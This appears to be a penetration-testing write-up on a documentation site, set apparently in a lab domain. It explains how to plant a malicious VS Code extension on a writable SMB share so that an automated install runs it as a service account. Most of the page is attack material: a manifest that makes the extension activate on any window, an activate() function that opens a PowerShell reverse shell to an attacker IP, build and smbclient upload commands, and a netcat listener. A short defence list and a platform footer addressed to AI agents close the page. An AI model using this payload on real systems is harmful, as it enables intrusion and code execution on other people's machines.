> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/malicious-vsix-extensions-via-writable-smb-shares.md).

# Malicious VSIX Extensions via Writable SMB Shares

### What is a VSIX File?

A `.vsix` file is a VS Code extension package — essentially a ZIP archive containing JavaScript code, a `package.json` manifest, and any assets. When VS Code installs a `.vsix`, it executes the extension's `activate()` function immediately.

### The Attack Surface

If an organisation automatically deploys VS Code extensions from a shared network folder (a common enterprise pattern), any user with write access to that share can plant a malicious extension. When the deployment task runs — typically as a domain service account — the payload executes as that account.

```
Writable SMB Share (DevDrop)
        │
        ▼
  Scheduled Task / Service
  (runs as domain user ryan.brooks)
        │
        ▼
  VS Code auto-installs .vsix
        │
        ▼
  activate() runs → reverse shell
```

### Building a Malicious VSIX

```bash
# Setup
mkdir evil-ext && cd evil-ext
npm init -y
npm install --save-dev @vscode/vsce
```

**package.json** — must match the target VS Code engine version:

```json
{
  "name": "evil-ext",
  "displayName": "Evil Extension",
  "version": "0.0.1",
  "publisher": "attacker",
  "engines": { "vscode": "^1.118.0" },
  "activationEvents": ["*"],
  "main": "./extension.js"
}
```

`"activationEvents": ["*"]` means the extension activates on any VS Code window open — no user interaction needed.

**extension.js** — payload in the activate function:

```javascript
const { execSync } = require('child_process');

function activate(context) {
    execSync('powershell -c "$client = New-Object Net.Sockets.TCPClient(\'10.10.x.x\',9001);..."');
}

function deactivate() {}
module.exports = { activate, deactivate };
```

```bash
# Build the .vsix package
npx vsce package --allow-missing-repository
# → evil-ext-0.0.1.vsix
```

### Uploading to the Share

```bash
smbclient //dc01.domain.htb/DevDrop -U 'alham.rizvi%password'
smb: \> put evil-ext-0.0.1.vsix

# Start listener
rlwrap nc -nvlp 9001
```

Wait for the scheduled task to fire → shell received as the task's service account.

### Why rlwrap?

`rlwrap` wraps a listener with readline support, giving you arrow key navigation, command history, and line editing inside a raw netcat shell. Essential for PowerShell sessions.

```bash
rlwrap nc -nvlp 9001    # with readline
nc -nvlp 9001           # without — no arrow keys, no history
```

### Defence

* Require cryptographically signed `.vsix` files — validate signatures before installation
* Restrict write access to extension shares to only the CI/CD service account
* Never auto-install extensions from a share writable by general users
* Monitor share write events and new file creation in extension directories


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/malicious-vsix-extensions-via-writable-smb-shares.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.